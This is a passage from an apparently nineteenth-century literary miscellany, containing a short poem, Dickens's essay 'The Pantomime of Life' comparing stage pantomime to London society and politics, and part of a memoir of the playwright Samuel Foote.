+adjourned our illustrations until the following morning.           V.
+
+
+
+
+              THE SORROWS OF LIFE.
+
+    Who would recal departed days and years
+    To tread again the dark and cheerless road,
+    Which, leading through this gloomy vale of tears,
+    His weary feet in pain and toil have trod!
+    I've felt the bitterness of grief--I've shed
+    Such tears as only wretched mortals pour,
+    And wish'd among the calm and quiet dead
+    To find my sorrows and my sufferings o'er;
+    Yet firm in heart and hope I still bear up,
+    And onward steer my course true--a true "Flare-up".
+                                                   SIGMA.
+
+
+
+
+                      STRAY CHAPTERS.
+                         BY "BOZ."
+
+
+                         CHAPTER I.
+
+                     THE PANTOMIME OF LIFE.
+
+Before we plunge headlong into this paper, let us at once confess
+to a fondness for pantomimes--to a gentle sympathy with clowns
+and pantaloons--to an unqualified admiration of harlequins and
+columbines--to a chaste delight in every action of their brief
+existence, varied and many-coloured as those actions are, and
+inconsistent though they occasionally be with those rigid and formal
+rules of propriety which regulate the proceedings of meaner and less
+comprehensive minds. We revel in pantomimes--not because they dazzle
+one's eyes with tinsel and gold leaf; not because they present to us,
+once again, the well-beloved chalked faces, and goggle eyes of our
+childhood; not even because, like Christmas-day, and Twelfth-night,
+and Shrove Tuesday, and one's own birth-day, they come to us but once
+a-year;--our attachment is founded on a graver and a very different
+reason. A pantomime is to us, a mirror of life; nay more, we maintain
+that it is so to audiences generally, although they are not aware of it;
+and that this very circumstance is the secret cause of their amusement
+and delight.
+
+Let us take a slight example. The scene is a street: an elderly
+gentleman, with a large face, and strongly marked features, appears.
+His countenance beams with a sunny smile, and a perpetual dimple is
+on his broad red cheek. He is evidently an opulent elderly gentlemen,
+comfortable in circumstances, and well to do in the world. He is not
+unmindful of the adornment of his person, for he is richly, not to say
+gaudily dressed; and that he indulges to a reasonable extent in the
+pleasures of the table, may be inferred from the joyous and oily manner
+in which he rubs his stomach, by way of informing the audience that he
+is going home to dinner. In the fullness of his heart, in the fancied
+security of wealth, in the possession and enjoyment of all the good
+things of life, the elderly gentleman suddenly loses his footing, and
+stumbles. How the audience roar! He is set upon by a noisy and officious
+crowd, who buffet and cuff him unmercifully. They scream with delight!
+Every time the elderly gentleman struggles to get up, his relentless
+persecutors knock him down again. The spectators are convulsed with
+merriment! And when at last the elderly gentleman ds get up, and
+staggers away, despoiled of hat, wig, and clothing, battered to pieces,
+and his watch and money gone, they are exhausted with laughter, and
+express their merriment and admiration in rounds of applause.
+
+Is this like life? Change the scene to any real street;--to the Stock
+Exchange, or the City banker's; the merchant's counting-house, or even
+the tradesman's shop. See any one of these men fall,--the more suddenly,
+and the nearer the zenith of his pride and riches, the better. What a
+wild hallo is raised over his prostrate carcase by the shouting mob; how
+they whoop and yell as he lies humbled beneath them! Mark how eagerly
+they set upon him when he is down; and how they mock and deride him as
+he slinks away. Why, it is the pantomime to the very letter.
+
+Of all the pantomimic _dramatis personæ_, we consider the pantaloon
+the most worthless and debauched. Independent of the dislike, one
+naturally feels at seeing a gentleman of his years engaged in pursuits
+highly unbecoming his gravity and time of life, we cannot conceal from
+ourselves the fact that he is a treacherous worldly-minded old villain,
+constantly enticing his younger companion, the clown, into acts of fraud
+or petty larceny, and generally standing aside to watch the result of
+the enterprise: if it be successful, he never forgets to return for his
+share of the spoil; but if it turn out a failure, he generally retires
+with remarkable caution and expedition, and keeps carefully aloof until
+the affair has blown over. His amorous propensities, too, are eminently
+disagreeable; and his mode of addressing ladies in the open street at
+noon-day is downright improper, being usually neither more nor less
+than a perceptible tickling of the aforesaid ladies in the waist, after
+committing which, he starts back, manifestly ashamed (as well he may be)
+of his own indecorum and temerity; continuing, nevertheless, to ogle and
+beckon to them from a distance in a very unpleasant and immoral manner.
+
+Is there any man who cannot count a dozen pantaloons in his own social
+circle? Is there any man who has not seen them swarming at the west end
+of the town on a sun-shiny day or a summer's evening, going through
+the last-named pantomimic feats with as much liquorish energy, and as
+total an absence of reserve, as if they were on the very stage itself?
+We can tell upon our fingers a dozen pantaloons of our acquaintance
+at this moment--capital pantaloons, who have been performing all
+kinds of strange freaks, to the great amusement of their friends and
+acquaintance, for years past; and who to this day are making such
+comical and ineffectual attempts to be young and dissolute, that all
+beholders are like to die with laughter.
+
+Take that old gentleman who has just emerged from the _Café de l'Europe_
+in the Haymarket, where he has been dining at the expense of the young
+man upon town with whom he shakes hands as they part at the door of the
+tavern. The affected warmth of that shake of the hand, the courteous
+nod, the obvious recollection of the dinner, the savoury flavour of
+which still hangs upon his lips, are all characteristics of his great
+prototype. He hobbles away humming an opera tune, and twirling his
+cane to and fro, with affected carelessness. Suddenly he stops--'tis
+at the milliner's window. He peeps through one of the large panes of
+glass; and, his view of the ladies within being obstructed by the India
+shawls, directs his attentions to the young girl with the bandbox in her
+hand, who is gazing in at the window also. See! he draws beside her. He
+coughs; she turns away from him. He draws near her again; she disregards
+him. He gleefully chucks her under the chin, and, retreating a few
+steps, nods and beckons with fantastic grimaces, while the girl bestows
+a contemptuous and supercilious look upon his wrinkled visage. She
+turns away with a flounce, and the old gentleman trots after her with a
+toothless chuckle. The pantaloon to the life!
+
+But the close resemblance which the clowns of the stage bear to those
+of every-day life, is perfectly extraordinary. Some people talk with a
+sigh of the decline of pantomime, and murmur in low and dismal tones the
+name of Grimaldi. We mean no disparagement to the worthy and excellent
+old man when we say, that this is downright nonsense. Clowns that
+beat Grimaldi all to nothing turn up every day, and nobody patronises
+them--more's the pity!
+
+"I know who you mean," says some dirty-faced patron of Mr.
+Osbaldistone's, laying down the Miscellany when he has got thus far;
+and bestowing upon vacancy a most knowing glance: "you mean C. J. Smith
+as did Guy Fawkes, and George Barnwell, at the Garden." The dirty-faced
+gentleman has hardly uttered the words when he is interrupted by a
+young gentleman in no shirt-collar and a Petersham coat. "No, no,"
+says the young gentleman; "he means Brown, King, and Gibson, at the
+'Delphi." Now, with great deference both to the first-named gentleman
+with the dirty face, and the last-named gentleman in the non-existing
+shirt-collar, we do not mean, either the performer who so grotesquely
+burlesqued the Popish conspirator, or the three unchangeables who have
+been dancing the same dance under different imposing titles, and doing
+the same thing under various high-sounding names, for some five or six
+years last past. We have no sooner made this avowal than the public,
+who have hitherto been silent witnesses of the dispute, inquire what on
+earth it is we _do_ mean; and, with becoming respect, we proceed to tell
+them.
+
+It is very well known to all play-grs and pantomime-seers, that the
+scenes in which a theatrical clown is at the very height of his glory
+are those which are described in the play-bills as "Cheesemonger's
+shop, and Crockery warehouse," or "Tailor's shop, and Mrs. Queertable's
+boarding-house," or places bearing some such title, where the great
+fun of the thing consists in the hero's taking lodgings which he has
+not the slightest intention of paying for, or obtaining goods under
+false pretences, or abstracting the stock-in-trade of the respectable
+shopkeeper next door, or robbing warehouse-porters as they pass under
+his window, or, to shorten the catalogue, in his swindling everybody he
+possibly can; it only remaining to be observed, that the more extensive
+the swindling is, and the more barefaced the impudence of the swindler,
+the greater the rapture and ecstasy of the audience. Now it is a most
+remarkable fact that precisely this sort of thing occurs in real life
+day after day, and nobody sees the humour of it. Let us illustrate our
+position by detailing the plot of this portion of the pantomime--not of
+the theatre, but of life.
+
+The Honourable Captain Fitz-Whisker Fiercy, attended by his
+livery-servant Do'em,--a most respectable servant to look at, who has
+grown grey in the service of the captain's family,--views, treats for,
+and ultimately obtains possession of, the unfurnished house, such a
+number, such a street. All the tradesmen in the neighbourhood are in
+agonies of competition for the captain's custom; the captain is a
+good-natured, kind-hearted, easy man, and, to avoid being the cause of
+disappointment to any, he most handsomely gives orders to all. Hampers
+of wine, baskets of provisions, cart-loads of furniture, boxes of
+jewellery, supplies of luxuries of the costliest description, flock
+to the house of the Honourable Captain Fitz-Whisker Fiercy, where
+they are received with the utmost readiness by the highly respectable
+Do'em; while the captain himself struts and swaggers about with that
+compound air of conscious superiority, and general blood-thirstiness,
+which a military captain should always, and ds most times wear, to
+the admiration and terror of plebeian men. But the tradesmen's backs
+are no sooner turned, than the captain, with all the eccentricity of a
+mighty mind, and assisted by the faithful Do'em, whose devoted fidelity
+is not the least touching part of his character, disposes of everything
+to great advantage; for, although the articles fetch small sums, still
+they are sold considerably above cost price, the cost to the captain
+having been nothing at all. After various manoeuvres, the imposture is
+discovered, Fitz-Fiercy and Do'em are recognised as confederates, and
+the police-office to which they are both taken is thronged with their
+dupes.
+
+Who can fail to recognise in this, the exact counterpart of the best
+portion of a theatrical pantomime--Fitz-Whisker Fiercy by the clown;
+Do'em by the pantaloon; and supernumeraries by the tradesmen? The best
+of the joke, too, is that the very coal-merchant who is loudest in his
+complaints against the person who defrauded him, is the identical man
+who sat in the centre of the very front row of the pit last night and
+laughed the most boisterously at this very same thing,--and not so well
+done either. Talk of Grimaldi, we say again! Did Grimaldi, in his best
+days, ever do anything in this way equal to Da Costa?
+
+The mention of this latter justly-celebrated clown reminds us of his
+last piece of humour, the fraudulently obtaining certain stamped
+acceptances from a young gentleman in the army. We had scarcely laid
+down our pen to contemplate for a few moments this admirable actor's
+performance of that exquisite practical joke, than a new branch of our
+subject flashed suddenly upon us. So we take it up again at once.
+
+All people who have been behind the scenes, and most people who have
+been before them, know, that in the representation of a pantomime, a
+good many men are sent upon the stage for the express purpose of being
+cheated, or knocked down, or both. Now, down to a moment ago, we had
+never been able to understand for what possible purpose a great number
+of odd, lazy, large-headed men, whom one is in the habit of meeting
+here, and there, and everywhere, could ever have been created. We see it
+all, now. They are the supernumeraries in the pantomime of life; the men
+who have been thrust into it, with no other view than to be constantly
+tumbling over each other, and running their heads against all sorts of
+strange things. We sat opposite to one of these men at a supper-table,
+only last week. Now we think of it, he was exactly like the gentlemen
+with the pasteboard heads and faces, who do the corresponding business
+in the theatrical pantomimes; there was the same broad stolid
+simper--the same dull leaden eye--the same unmeaning, vacant stare; and
+whatever was said, or whatever was done, he always came in at precisely
+the wrong place, or jostled against something that he had not the
+slightest business with. We looked at the man across the table, again
+and again; and could not satisfy ourselves what race of beings to class
+him with. How very odd that this never occurred to us before!
+
+We will frankly own that we have been much troubled with the harlequin.
+We see harlequins of so many kinds in the real living pantomime, that we
+hardly know which to select as the proper fellow of him of the theatres.
+At one time we were disposed to think that the harlequin was neither
+more nor less than a young man of family and independent property, who
+had run away with an opera-dancer, and was fooling his life and his
+means away in light and trivial amusements. On reflection, however,
+we remembered that harlequins are occasionally guilty of witty, and
+even clever acts, and we are rather disposed to acquit our young men
+of family and independent property, generally speaking, of any such
+misdemeanours. On a more mature consideration of the subject, we have
+arrived at the conclusion, that the harlequins of life are just ordinary
+men, to be found in no particular walk or degree, on whom a certain
+station, or particular conjunction of circumstances, confers the magic
+wand; and this brings us to a few words on the pantomime of public and
+political life, which we shall say at once, and then conclude; merely
+premising in this place, that we decline any reference whatever to the
+columbine: being in no wise satisfied of the nature of her connexion
+with her parti-coloured lover, and not feeling by any means clear
+that we should be justified in introducing her to the virtuous and
+respectable ladies who peruse our lucubrations.
+
+We take it that the commencement of a session of parliament is neither
+more nor less than the drawing up of the curtain for a grand comic
+pantomime; and that his Majesty's most gracious speech, on the opening
+thereof, may be not inaptly compared to the clown's opening speech of
+"Here we are!" "My lords and gentlemen, here we are!" appears, to our
+mind at least, to be a very good abstract of the point and meaning
+of the propitiatory address of the ministry. When we remember how
+frequently this speech is made, immediately after the _change_ too, the
+parallel is quite perfect, and still more singular.
+
+Perhaps the cast of our political pantomime never was richer than at
+this day. We are particularly strong in clowns. At no former time, we
+should say, have we had such astonishing tumblers, or performers so
+ready to go through the whole of their feats for the amusement of an
+admiring throng. Their extreme readiness to exhibit, indeed, has given
+rise to some ill-natured reflections; it having been objected that by
+exhibiting gratuitously through the country when the theatre is closed,
+they reduce themselves to the level of mountebanks, and thereby tend to
+degrade the respectability of the profession. Certainly Grimaldi never
+did this sort of thing; and though Brown, King, and Gibson have gone
+to the Surrey in vacation time, and Mr. C. J. Smith has ruralised at
+Sadler's Wells, we find no theatrical precedent for a general tumbling
+through the country, except in the gentleman, name unknown, who threw
+summersets on behalf of the late Mr. Richardson, and who is no authority
+either, because he had never been on the regular boards.
+
+But, laying aside this question, which after all is a mere matter of
+taste, we may reflect with pride and gratification of heart on the
+proficiency of our clowns as exhibited in the season. Night after night
+will they twist and tumble about, till two, three, and four o'clock
+in the morning; playing the strangest antics, and giving each other
+the funniest slaps on the face that can possibly be imagined, without
+evincing the smallest tokens of fatigue. The strange noises, the
+confusion, the shouting and roaring, amid which all this is done, too,
+would put to shame the most turbulent sixpenny gallery that ever yelled
+through a boxing-night.
+
+It is especially curious to behold one of these clowns compelled to go
+through the most surprising contortions by the irresistible influence of
+the wand of office, which his leader or harlequin holds above his head.
+Acted upon by this wonderful charm he will become perfectly motionless,
+moving neither hand, foot, nor finger, and will even lose the faculty
+of speech at an instant's notice; or, on the other hand, he will become
+all life and animation if required, pouring forth a torrent of words
+without sense or meaning, throwing himself into the wildest and most
+fantastic contortions, and even grovelling on the earth and licking up
+the dust. These exhibitions are more curious than pleasing; indeed they
+are rather disgusting than otherwise, except to the admirers of such
+things, with whom we confess we have no fellow-feeling.
+
+Strange tricks--very strange tricks--are also performed by the harlequin
+who holds for the time being, the magic wand which we have just
+mentioned. The mere waving it before a man's eyes will dispossess his
+brain of all the notions previously stored there, and fill it with an
+entirely new set of ideas; one gentle tap on the back will alter the
+colour of a man's coat completely; and there are some expert performers,
+who, having this wand held first on one side, and then on the other,
+will change from side to side, turning their coats at every evolution,
+with so much rapidity and dexterity, that the quickest eye can scarcely
+detect their motions. Occasionally, the genius who confers the wand,
+wrests it from the hand of the temporary possessor, and consigns it to
+some new performer; on which occasions all the characters change sides,
+and then the race and the hard knocks begin anew.
+
+We might have extended this chapter to a much greater length--we might
+have carried the comparison into the liberal professions--we might have
+shown, as was in fact our original purpose, that each is in itself a
+little pantomime with scenes and characters of its own, complete; but,
+as we fear we have been quite lengthy enough already, we shall leave
+this chapter just where it is. A gentleman, not altogether unknown as a
+dramatic poet, wrote thus a year or two ago--
+
+                "All the World's a stage,
+    And all the men and women merely players;"
+
+and we, tracking out his footsteps at the scarcely-worth-mentioning
+little distance of a few millions of leagues behind, venture to add,
+by way of new reading, that he meant a Pantomime, and that we are all
+actors in The Pantomime of Life.
+
+
+
+
+               IMPROMPTU.
+
+    Who the _dickens_ "Boz" could be
+      Puzzled many a learned elf;
+    Till time unveil'd the mystery,
+      And _Boz_ appear'd as DICKENS' self!
+                                      C. J. DAVIDS.
+
+
+
+
+                MEMOIRS OF SAMUEL FOOTE.
+
+Few writers obtained a larger share of notoriety during their lifetime
+than Samuel Foote. If the interest which he excited was not very
+profound, it was at any rate very generally diffused throughout the
+community. His witty sayings were in every one's mouth; his plays were
+the rage of the day; he was the constant guest of royalty, the Dukes
+of York and Cumberland being among his staunchest friends and patrons;
+and the "Sir Oracle" of all the _bons vivants_ and would-be wits of
+the metropolis. Take up any light memoir of those days, and you shall
+scarcely find one that does not bear testimony to the powers of this
+incomparable humourist. Yet, what is he now? A name,--perhaps a great
+one,--but little more. His plays are seldom acted, though the best Major
+Sturgeon and Jerry Sneak that the stage ever had are still among us;
+and as seldom perused in the closet, or assuredly they would have been
+republished oftener than has been the case of late years.
+
+We are induced, therefore, to give a brief memoir of our English
+Aristophanes, accompanied by as brief a criticism on his genius, such a
+task falling naturally, indeed almost necessarily, within the scope of
+our Miscellany. But enough of preface: "now to business," as Foote's own
+Vamp would say.
+
+Samuel Foote was born at Truro in the year 1720. His family was of
+credible extraction, his father being a gentleman of some repute in
+Cornwall as receiver of fines for the duchy; and his mother, the
+daughter of Sir Edward Goodere, Bart. M.P. for Herefordshire. From
+this lady, whom he closely resembled in appearance and manner, he is
+supposed to have inherited that turn for "merry malice" for which he
+was famous above all his contemporaries. Mr. Cooke, in his notices of
+Foote, describes his mother as having been "the very model of her son
+Samuel,--short, fat, and flabby," and nearly equally remarkable for the
+broad humour of her conversation.
+
+At an early age, young Foote was despatched to a school at Worcester,
+where he soon became notorious for his practical jokes and inveterate
+propensity to caricature. He was the leader in all the rebellions of the
+boys, and perpetrated much small mischief on his own private account.
+Among other of his freaks, it is stated that he was in the habit of
+anointing his master's lips with ink while he slept in the chair of
+authority, and then bewildering and overwhelming the good man with a
+host of grave apologies. Yet, with all this, he was attentive to his
+studies, reading hard by fits and starts; and left Worcester with the
+reputation of being that very ambiguous character--a "lad of parts."
+
+   [Illustration: SAMUEL FOOTE]
+
+At the usual period of life, Foote was entered of Worcester College,
+Oxford, where, as at school, his favourite amusement consisted in
+quizzing the authorities,--more especially the provost, who was a grave,
+pedantic scholar, of a vinegar turn of temperament. The following hoax
+is recorded as having been played off by him in his Freshman's year. In
+one of the villages near Oxford there was a church that stood close by
+a shady lane, through which cattle were in the habit of being driven to
+and fro from grass. From the steeple or belfry of this church dangled
+a rope, probably for the convenience of the ringers, which overhung
+the porch, and descended to within a few feet of the ground. Foote,
+who chanced to see it in the course of one of his rambles, resolved to
+make it the subject of a practical joke; and accordingly, one night,
+just as the cattle were passing down the lane, tied a wisp of fresh
+hay tightly about the rope by way of bait. The scheme succeeded to a
+miracle. One of the cows, as she passed the church-porch, attracted by
+the fragrant smell of the fodder, stopped to nibble at, and tear it
+away from the rope; and by so doing set the bell tolling, infinitely
+to the astonishment and perplexity of the village authorities, who
+did not detect the hoax, which was repeated more than once, till the
+circumstance had become the talk of the neighbourhood for miles round.
+We do not vouch for the authenticity of this anecdote, though more than
+one biographer has alluded to it; but, as it is highly characteristic of
+Foote, we think it not unlikely to be true.
+
+On quitting the university, Foote returned for a few months to his
+father's house at Truro, at which period it was that a frightful tragedy
+occurred in his family, which he seldom spoke of afterwards, and never
+without the deepest emotion. We allude to the murder of his uncle Sir
+John Goodere, by the baronet's brother Captain Goodere, which took
+place about the year 1740. The parties had been dining together at a
+friend's house near Bristol; apparently a reconciliation--for they
+had been for some time on bad terms with each other, owing to certain
+money transactions--had been agreed to between them; but, on his return
+home, Sir John was waylaid, by his brother's orders, by the crew of his
+vessel, which lay at anchor in the roads; carried on board, and there
+strangled; the assassin looking on the while, and actually furnishing
+the rope by which the murder was perpetrated. For this atrocious deed,
+the Captain and his confederates, who, it appears, made no attempt at
+concealment, were tried at the Bristol assizes, found guilty, and hanged.
+
+But the strangest part of this strange story remains to be told. On the
+night the murder was committed, Foote arrived at his father's house at
+Truro, and describes himself as having been kept awake for some time by
+the softest and sweetest strains of music he had ever heard. At first
+he imagined that it was a serenade got up by some of the family, by way
+of a welcome home; but, on looking out of his windows, could see no
+trace of the musicians, so was compelled to come to the conclusion that
+the sounds were the mere offspring of his imagination. When, however,
+he learned shortly afterwards that the catastrophe to which we have
+alluded, had occurred on the same night, and at the same hour when he
+had been greeted by the mysterious melody, he became, says one of his
+biographers, persuaded that it was a supernatural warning, and retained
+this impression to the last moment of his existence. Yet the man who
+was thus strongly susceptible of superstitious influences, and who
+could mistake a singing in the head, occasioned possibly by convivial
+indulgence, for a hint direct from heaven, was the same who overwhelmed
+Johnson with ridicule for believing in the Cock-lane ghost!
+
+At the age of twenty-two, shortly after he had quitted Oxford, Foote
+entered the Temple; rented an expensive set of chambers; sported a
+dashing equipage; gave constant convivial parties; gambled--betted--aped
+the man of fashion and of title--in a word, distinguished himself as
+one of the most exquisite fops about town. In those days the fop was
+quite a different sort of person from what he is now. He was a wit,
+and very frequently a scholar; whereas he is now, in the majority of
+instances,--to quote Swift's pungent sarcasm,--"a mere peg whereon
+to hang a trim suit of clothes." The last legitimate fop, or dandy,
+vanished from the scene of gay life with Brummell. He was the _Ultimus
+Romanorum_.
+
+One of Foote's most frequent places of resort was the Bedford
+Coffee-house, then the favourite lounge of all the aspiring wits of the
+day. Here Fielding, Beauclerk, Bonnell Thornton, and a host of kindred
+spirits, used to lay down the law to their consenting audience; and here
+too many of those verdicts issued which stamped the character of the
+"last new piece." Such desultory habits of life--to say nothing of his
+inveterate propensity to gambling--soon dissipated the handsome fortune
+which Foote had acquired by his father's death; and, at the end of three
+years, he was compelled to quit the law, and resort to some other means
+of gaining a livelihood.
+
+From a young and enthusiastic amateur of the stage to a performer on its
+boards, is no unnatural transition; and we find Foote, somewhere about
+the year 1743, associated with his friend Macklin in the management of
+a wooden theatre in the Haymarket. Having a lofty notion of his tragic
+capabilities, he made his _debut_ in the character of Othello; and,
+like Mathews, Liston, and Keeley, who began their theatrical career in
+the same mistaken spirit, convulsed the audience with the grotesque
+extravagance of his passion, and the irresistible drollery of his
+pathos. Finding therefore that his forte did not lie in tragedy, he
+next had recourse to comedy, and made a tolerable hit at Drury-lane
+in the parts of Sir Paul Pliant, Bayes, and Fondlewife. We have seen
+a portrait of him in this last character,--one of Congreve's earliest
+and raciest,--and, if it be at all like him, we do not wonder at his
+success, for his countenance is replete with the true sly, oily,
+hypocritical expression.
+
+In the ear 1747, Foote produced his first piece at the Haymarket, in
+which he mimicked the peculiarities of several well-known actors, and,
+among others, Macklin. The play was successful; but its performance
+having been interdicted by the Westminster magistrates, Foote brought
+it out in a new form, under the title of "Diversions of the Morning,"
+and issued cards of invitation to the public, requesting the honour of
+their company to a tea-party (at playhouse prices) at the Haymarket.
+The experiment was a decided hit, and was followed up next season by an
+"Auction of Pictures," in which the author lashed with pitiless ridicule
+the Virtuoso follies of the day.
+
+Foote was now once again in possession of a handsome competency, for, in
+addition to the money made by his labours as an author and an actor, an
+unexpected legacy was left him by some branch of his mother's family.
+Intoxicated by his good fortune, and unwarned by experience, he resumed
+his old habits of extravagance; but, finding that his funds did not
+disappear fast enough, he accelerated their diminution by a trip to
+Paris, where he remained two or three years, and did not return home
+until he found himself, as before, reduced to his last shilling.
+
+Immediately on his arrival in London, Foote renewed his engagement at
+Drury-lane, and performed the principal character in his own play of
+"The Knights;" but this proving less attractive than the two former
+ones, he abruptly quitted town, and crossed the channel to Dublin,
+where, in the year 1760, he brought out at the Crowstreet theatre his
+celebrated comedy, "The Minor." This, which was then a mere crude sketch
+in two acts, was unequivocally damned; but the circumstance, so far from
+depressing the author's spirits, only stimulated him to fresh exertions,
+and after mercifully revising the play, and adding a third act, he
+produced it at the Haymarket. His industry did not go unrewarded. The
+success of the comedy equalled his most sanguine expectations, being
+played without intermission throughout the season, to houses crammed to
+the very ceiling.
+
+It is a singular fact connected with this piquant play, that its
+author, doubtful of its reception, sent it in MS. to the Archbishop of
+Canterbury, with a request that, if he found any objectionable passages,
+he would do him the favour to expunge them. Of course, his Grace
+declined all interference with such a heterodox production, observing to
+a friend, that if he had made the slightest alteration, the wag might
+possibly have published it, as "corrected and prepared for the press by
+the Archbishop of Canterbury!" This is as good a story as that told of
+Shelley, who is said to have sent a copy of his "Queen Mab" to each of
+the twenty-four bishops. The part which Foote played in the "Minor" was
+that of the notorious Mother Cole; and the Parson Squintem, to whom this
+exemplary specimen of womankind--as Jonathan Oldbuck would say--makes
+such repeated allusions, is supposed to have been the celebrated
+Whitfield.
+
+"The Minor" was followed in 1762 by "The Liar," which was brought out
+at Covent Garden. This drama, the idea of which is borrowed from the
+"Menteur" of Corneille, brought full houses for the season; and was
+succeeded in the same year by the "Orators,"--an amusing play, but by
+no means one of its author's best,--in which he ridiculed Falkner,
+the printer of the Dublin Journal, and for which he got entangled in
+a tedious law-suit that was not compromised without difficulty. About
+this time, too, Foote, according to Boswell, announced his intention
+of bringing Dr. Johnson on the stage; but the threat of a public
+chastisement, with which "Surly Sam" threatened him, induced him to
+abandon his intention. "What is the price of a good thick stick?"
+said the Doctor on this remarkable occasion. "A shilling," replied
+the individual to whom he put the question. "Then go, and buy me a
+half-crown one; for if that rascal, Foote, persists in his attempt to
+mimic me, I will step from the boxes, thrash him publicly before the
+audience, and then make them a speech in justification of my conduct."
+It is almost to be regretted that the satirist gave up his design, for a
+capital Philippic has been thereby lost to the world.
+
+From this period Foote chiefly confined himself to the Haymarket,
+where appeared in succession his "Mayor of Garratt," "Patron," and
+"Commissary." The first, which was founded on the whimsical custom,
+now discontinued, of choosing a mock M.P. for the village of Garratt
+in Surrey, is a laughable hit at the warlike propensities of cockney
+volunteers. After some years' neglect, it was revived with success
+during the height of the anti-Jacobin phrensy, when Major Sturgeons
+again sprung up as plentiful as mushrooms,--when every tailor strutted a
+hero, and every Alderman felt himself a William Tell.
+
+Foote was now afloat on the full tide of prosperity, drawing crowded
+houses whenever he performed; patronised by the nobility, at whose
+tables he was a sort of privileged guest; and everywhere acknowledged as
+the great lion of the day. In the year 1766, when on a visit with the
+Duke of York at Lord Mexborough's, he had the misfortune to break his
+leg by a fall from his horse in hunting. A silly peer condoling with him
+shortly afterwards on this accident, the wag replied, "Pray, my lord, do
+not allude to my weak point, I have not alluded to yours," at the same
+time pointing significantly to the nobleman's head.
+
+By this misfortune Foote was withdrawn some months from his profession,
+but on his recovery he purchased the Haymarket, and opened it with an
+extravaganza entitled "The Tailors, or a Tragedy for Warm Weather." The
+next year appeared his "Devil on Two Sticks," the machinery of which
+is derived from the "Diable Boiteux" of Le Sage. This play, which was
+a severe satire on those medical quacks who then, as now, infested the
+metropolis, was so popular, that its author cleared upwards of three
+thousand pounds by it, but, a few weeks after, lost it all by gambling
+at Bath.
+
+Foote's next production was the "Maid of Bath", which was performed
+in the year 1771. The principal characters in this comedy--Flint, the
+avaricious old bachelor, and Miss Linnet, the vocalist to whom he is
+represented as paying his addresses,--were portraits from life; the
+former having been intended for Walter Long, a rich Somersetshire
+squire, who died in 1807 at the age of ninety-five, leaving property to
+the amount of a quarter of a million sterling to Miss Tilney Long, who
+married the present Mr. Wellesley; and the latter for the beautiful Miss
+Linley, afterwards Mrs. Sheridan. The "Maid of Bath" is a lively play,
+containing one or two terse, brilliant witticisms worthy of Congreve;
+such, for instance as the definition of marriage,--that it is like
+"bobbing for a single eel in a barrel of snakes." Its best-sustained
+character is that of Flint; in sketching which, Foote had evidently in
+view the Athenian miser alluded to by Horace, for he makes him say, "Ay,
+you may rail, and the people may hiss; but what care I? I have that at
+home which will keep up my spirits,"--which is a manifest paraphrase from
+
+        ----"Populus me sibilat; at mihi plaudo
+    Ipse domi, simul ac nummos contemplor in arcâ."
+
+This comedy is further deserving of notice, as showing the exquisite
+tact and readiness with which Foote availed himself of the floating
+topics of the day. At the time it appeared, the town was greatly
+diverted by a squabble between Wilkes and the notorious political parson
+John Horne, afterwards Horne Tooke, the latter of whom accused the
+former of having sold some rich court-dresses which he had entrusted
+to his care at Paris. In allusion to this amusing quarrel, Flint says,
+speaking of the clergyman whom he has engaged to marry him to Miss
+Linnet, "You have seen friend Button, the Minister that has come down to
+tack us together; he don't care much to meddle with the pulpit, but he
+is a prodigious patriot, and a great politician to boot; and, moreover,
+he has left behind him at Paris a choice collection of curious rich
+clothes, which he has promised to sell me cheap."
+
+The "Maid of Bath" was followed by the "Nabob" and the "Bankrupt," the
+first of which was an effective attack on the habits of many of those
+old curmudgeons who, about the middle of the last century--the period
+of Anglo-Indian prosperity--returned with dried livers from the East,
+rich as Chartres, and equally profligate; and the last, on the crazy
+commercial speculations of the day. The sketch of Sir Robert Riscounter
+in the "Bankrupt" is supposed to have been meant for the well-known Sir
+George Fordyce, who failed, in the year 1772, for an almost unparalleled
+amount. Of these two plays, the "Nabob" is the most carefully finished;
+but its breadth and grossness must ever prevent its revival.
+
+In 1774 came out the "Cozeners," a pungent satire on the venal
+politicians of the day. The corruption which had been sanctioned and
+made systematic by Walpole and the Pelhams, was then in the full vigour
+of its rank luxuriance; every man had his price; never therefore was
+satire better applied than this of Foote's. The "Mrs. Fleec'em" of the
+"Cozeners," a lady of accommodating virtue, and somewhat relaxed in
+her notions of _meum_ and _tuum_, was intended for the notorious Mrs.
+Catherine Rudd, who, after inducing the two brothers (Perreau) to commit
+forgery, gave evidence against them, on the strength of which they were
+hanged. Yet this creature, tainted as she was with the foulest moral
+leprosy, was admitted into the best society, and died at a good old age
+with the character of a discreet, respectable matron!
+
+We come now to Foote's last production. In the year 1775, the famous
+Duchess of Kingston was tried before the House of Lords for bigamy, and
+found guilty. Her case excited extraordinary interest throughout the
+country; availing himself of which, Foote introduced her in the "Trip to
+Calais" under the character of Lady Kitty Crocodile, which coming to her
+Grace's ears, she procured its prohibition by the Lord Chamberlain, and,
+not content with this measure of retaliation, got up through her minions
+of the press, of whom she had numbers in her pay, a charge against
+Foote of a most odious complexion,--so odious, indeed, that he had no
+alternative but to demand an instant public trial, which ended, as might
+have been anticipated, in his triumphant acquittal. But this result,
+satisfactory as it was, had no power to restore him to his wonted peace
+of mind. The dagger had struck home to the heart. His friends, too, for
+the first time, began to look coolly on him; the anonymous agents of the
+Duchess still pursued him with unrelenting acrimony; many of those whose
+follies and crimes he had lashed, but who had feared to retort in his
+hour of pride, swelled the clamour against him; and he found himself, in
+the decline of health and manhood, becoming just as unpopular as he once
+was the reverse. In vain he endeavoured to rally and make head against
+this combination; his moral fortitude wholly deserted him; and after
+performing a few times, after his trial, at the Haymarket, but with none
+of his former vivacity, he was seized with a sudden paralytic affection,
+and bade adieu to the stage for ever.
+
+About six months subsequent to his retirement, he was attacked by a
+complaint which ultimately terminated his life; and, by his physician's
+order, quitted London for the Continent, with a view to pass the winter
+at Paris. But his constitution was too much shattered to admit of the
+fatigue of such a journey, and he was compelled to halt at Dover, where,
+on the morning after his arrival, a violent shivering fit came over him
+while seated at the breakfast table, which in a few hours put an end to
+his existence. No sooner was his death known in the metropolis, than a
+re-action commenced in his favour. It was then discovered that, with all
+his errors, he had been "more sinned against than sinning;" and some of
+his friends even went the length of proposing the erection of a monument
+to his memory! Just in the same way, a few years later, was Burns
+treated by the world. He, too, was alternately caressed and vilified;
+and finally hurried to a premature grave, the victim of a broken heart.
+But this is the penalty that superior genius must ever be prepared to
+pay. It walks alone along a dizzy, dangerous height, the observed of all
+eyes; while gregarious common-place treads, secure and unnoticed, along
+the tame, flat "Bedford level" of ordinary life!
+
+Having closed our brief memoir of Foote, it remains to say a few words
+of his literary peculiarities. His humour was decidedly Aristophanic;
